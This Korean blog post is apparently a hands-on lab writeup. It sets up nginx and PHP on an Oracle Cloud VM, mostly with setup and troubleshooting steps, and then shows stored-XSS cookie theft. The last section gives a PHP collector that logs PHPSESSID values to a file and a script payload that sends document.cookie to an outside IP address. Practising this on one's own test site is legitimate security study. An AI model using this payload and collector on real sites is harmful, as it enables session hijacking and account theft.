본문 바로가기
WEB HACKING/웹 해킹[실습]

Oracle Cloud : XSS(Cross-Site Scripting) 실습

by madevth 2022. 1. 28.
반응형

Stored XSS 실습에서 로컬이 아닌 내 own 서버로 쿠키 탈취를 해보고 싶다는 일념 하나로 시작한 Oracle VM 생성기!

Oracle 등록에서 실제 쿠키 탈취에 성공하기까지... "왜 안되지?ㅠㅠ"만 3일 동안 외친 것 같다.

이번 포스팅에서는 서버에 nginx와 php 설치해서 실제 쿠키 탈취를 실습해볼 것이다.

 

① Oracle 쉘 접속하기

저번 포스팅에서 Oracle Free Tier에 등록하고, 쉘에 접속하는 것까지 완료하였다.

이전 포스팅 : [모의해킹_실습] - Oracle Free Tier : 등록 & 접속

 

 

② nginx 설치 및 포트 열기

우리의 서버를 웹 서버로 활용하기 위해 nginx를 설치해준 후, 포트를 열어주자.

(이때가 고생의 시작인 것을.. 나는 알지 못했다... 그냥 아파치 쓸걸...)

$ sudo su
$ sudo apt update
$ sudo apt install nginx

sudo su는 root 계정을 사용할 수 있는 명령어이다.

어떤 이미지를 쓰냐에 따라 명령어(ex - linux에서는 yum install)가 조금씩 달라지기 때문에, 자신이 익숙한 이미지를 사용하는 것이 좋다.

 

이제 포트를 열어주어야 한다. 80과 443을 열어주자.

네트워킹 》 가상 클라우드 네트워크 》 vcn-20220123-1900 》 보안 목록 세부 정보에 들어가서 수신 규칙 추가를 누르자.

대상 포트 범위를 선택할 때 띄어쓰기가 들어가면 부적합한 입력이라고 뜬다.

 

쉘에서도 방화벽 설정을 변경하고 저장한다.

$ sudo iptables -I INPUT 1 -p tcp --dport 80 -j ACCEPT
$ sudo iptables -I INPUT 1 -p tcp --dport 443 -j ACCEPT

$ sudo netfilter-persistent save

 

이제 [http://ip주소]로 들어가 보자. Welcome to nginx! 가 뜬다면 문제없이 성공한 것이다.

 

 

③ PHP 설치 및 에러 해결

서버에 php를 깔지 않거나 추가적인 설정을 해주지 않으면 파일이 실행되지 않고 다운로드되는 현상이 발생한다.

$ sudo apt install php php-mysql

마찬가지로 cd /var/www/html에 가서 test.php 만들고 [http://ip주소/test.php]로 갔을 때 php 정보 페이지가 떠야 한다.

[test.php]

<?php
    phpinfo();
?>

 

아직 php 파일이 잘 실행되지 않는다면(php 파일이 실행되지 않고 다운로드가 되거나 502 Bad Gateway가 뜨는 경우) 다음과 같은 시도를 해볼 수 있다.

 

1) nginx.conf 수정

$ find / -name nginx.conf 2>/dev/null

위의 명령어로 nginx.conf 파일의 경로를 찾을 수 있다.

/etc/nginx/nginx.conf

위의 경로로 가서 파일을 확인한 후 default_type을 text/html로 변경하였다.

 

2) default 설정 수정

/etc/nginx/sites-enabled/ 경로에 가서 default 파일을 수정했다.

약 44번째 줄에 있는 index 부분에 위와 같이 index.php를 추가해준 후, php script 부분의 주석을 해제해준다.

맨 밑에 fastcgi_pass 127.0.0.1 부분까지 주석을 지우면 아래와 같은 duplicate 에러가 발생하므로 주의!

 

3) php-fpm 설치

위의 수정사항을 열심히 거쳤더니 502 Bad Gateway가 뜨기 시작했다.

후...♨

포기하지 말고....! 조금만 더....!

http{
    fastcgi_buffers 8 16k;
    fastcgi_buffer_size 32k;
    fastcgi_connect_timeout 300;
    fastcgi_send_timeout 300;
    fastcgi_read_timeout 300;
}
$ nginx -s reload

우선 /etc/nginx/nginx.conf의 경로에 가서 fastcgi 버퍼 크기를 키워보았으나 실패.

 

그래서 이번에는 php-fpm을 설치하였다.

$ sudo apt install php-fpm

성공ㅠㅠㅠ

사실 php-fpm을 가장 먼저 설치했다면 삽질이 많이 줄었을 수도 있다ㅎㅎ

 

+) nginx start가 안될 경우

$ sudo service nginix stop
$ sudo service nginix restart

만약 중간에 nginx를 끄고 다시 킬 때 문제가 생겼다면 nginx -t를 통해 에러를 확인할 수 있다.

에러를 고친 후에도 restart가 안된다면 /var/log/nginx/error.log에서 에러 메시지를 확인할 수 있다.

(bind() to 0.0.0.0:80은 80 포트를 이미 누군가 사용하고 있다는 것이고, 필자의 경우 service apache2 stop 후에 nginx restart를 하니 잘 실행이 되었다. 잘 안된다면 netstat으로 포트를 사용하고 있는 서비스가 무엇인지 확인하면 된다.)

 

 

④ 쿠키 탈취 스크립트

이제!! 드디어!! 쿠키를 탈취해볼 수 있게 되었다!!

우선 /var/www/html 경로에 cookie.php 파일과 빈 cookie.txt 파일을 만들었다.

[cookie.php]

<?php
        if($_GET['PHPSESSID']){
                $file = fopen("cookie.txt", "a");
                fwrite($file, $_GET['PHPSESSID']);
                fclose($file);
        }
?>

 

chmod로 권한을 주지 않으면 Permission denied로 php가 제대로 실행되지 않는다.

$ sudo chmod 777 cookie.php
$ sudo chmod 777 cookie.txt

 

그 후 원래 사용하던 우분투에 만든 웹 사이트의 게시판에다 스크립트를 작성해서 저장했다.

<script>
    document.write('<img src="http://168.138.179.147/cookie.php?' + document.cookie + '"/>');
</script>

띄어쓰기를 하나 잘못해도 실행이 안될 수 있으니 조심해야 한다.

 

위와 같이 깨진 사진 모양이 뜨지 않는다면 스크립트에 문제가 있는 것이다.

 

이제 서버에 접속해서 cookie.txt 파일을 확인해보자.

드디어ㅠㅠ 성공했다ㅠㅠ

하면서 계속 '왜 nginx를 깔았을까... 그냥 apache로 할걸...' 많이 후회했지만, 그래도 내 own 서버를 갖게 되고 쿠키 탈취까지 성공하니 기분이 좋았다!!

 

앞으로 keylogger 같은 다른 데이터 탈취도 해봐야겠다.

반응형

댓글